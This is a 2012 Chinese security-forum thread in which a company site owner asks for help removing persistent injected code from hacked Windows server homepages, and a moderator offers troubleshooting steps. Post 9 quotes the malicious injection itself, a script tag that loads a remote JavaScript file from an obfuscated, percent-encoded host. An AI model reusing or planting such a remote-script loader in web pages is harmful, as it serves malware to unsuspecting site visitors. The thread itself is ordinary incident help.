瑞星卡卡安全论坛技术交流区恶意网站交流 求救:网站被黑恢复后总有代码删不掉,急求解!!!

123   1  /  3  页   跳转页

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

收藏
本主题由 大版主 networkedition 于 2012-7-10 15:42:11 执行 合并主题 操作
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:09 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

求救:网站被黑恢复后总有代码删不掉,急求解!!!

网页顶部代码无法删除,急!!!

网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了

但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器.

望各位大侠给支支招!!

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

文件名:ts.jpg
下载次数:1185
文件类型:image/pjpeg
文件大小:
上传时间:2012-7-6 11:09:49
描述:代码位置
分享到：
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-07-06 11:13 | 短消息 资料
字号： 小 中 大 2楼

回复 1F ying8125 的帖子

那段代码，在网站服务器上，网站页面文件里清除了，还会生成？
网站地址是什么？
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:13 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

求救!! 网页顶部代码无法删除,急!!!

网页顶部代码无法删除,急!!!

网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了

但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器.

望各位大侠给支支招!!

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:20 | 只看楼主 短消息 资料
字号： 小 中 大 4楼

回复 2F networkedition 的帖子

是的.用杀毒软件断网查杀了好几次,已经杀不出毒来了.
网页代码我也都检查过了,是干净的.
但就是首页顶部一直有那段代码,去不掉.从网页里看不到这段,只是从浏览器打开就有.
网址是http://www.ineast.com
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-07-06 11:27 | 短消息 资料
字号： 小 中 大 5楼

回复 4F ying8125 的帖子

服务器是托管的啊？装个arp防火墙试试。
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-06 11:29 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

回复 5F networkedition 的帖子

是我们公司自己的服务器.
装的360,上面有ARP的防护.但是一直有.主要是想把这段代码赶紧去掉.或是找出源头.
我的QQ号:79978070,您可以加我.
gototop
 
天才小菜鸟1
头像
初生襁褓狮
  • 帖子:38
  • 注册: 2006-05-07
  • 来自:
发表于： 2012-07-07 09:35 | 短消息 资料
字号： 小 中 大 7楼

回复：求救:网站被黑恢复后总有代码删不掉,急求解!!!

黑客加的代码吧 或许是后门 - -噗
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-07-09 09:28 | 短消息 资料
字号： 小 中 大 8楼

回复 6F ying8125 的帖子

在网站服务器上全盘搜索global.asa这个文件，如果有压缩发来。搜索时再更多高级选项里勾选搜索隐藏的文件和文件夹。
gototop
 
ying8125
头像
初生襁褓狮
  • 帖子:22
  • 注册: 2006-10-25
  • 来自:
发表于： 2012-07-09 10:43 | 只看楼主 短消息 资料
字号： 小 中 大 9楼

急!!网页被挂马去不掉,好几天了


急!!我们的服务器是WIN2003的,最近所有的网站首页顶部都被代入一段代码,从源文件里看不到,无法删除,360杀毒也杀不出来什么,用了其他的一些工具也不行.请问有没有高手能帮忙解决@@急!!代码如下:
<script language=javascript src=http://f%70r.A%74Her%53ite.c%6Fm/b.js?google=7x011></script>

与此同时发现系统文件夹里有一个CryptWan.dll文件夹是病毒吗 ,删除或是打开这个文件都不行,提示拒绝访问.
还用UNLOCKER和恶意代码清除器分别尝试了,也没有作用.

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2012-07-09 10:53 | 短消息 资料
字号： 小 中 大 10楼

回复 1F ying8125 的帖子

将CryptWan.dll压缩跟帖上传。
gototop
 
<<上一主题|下一主题>>
123   1  /  3  页   跳转页
页面顶部
Powered by Discuz!NT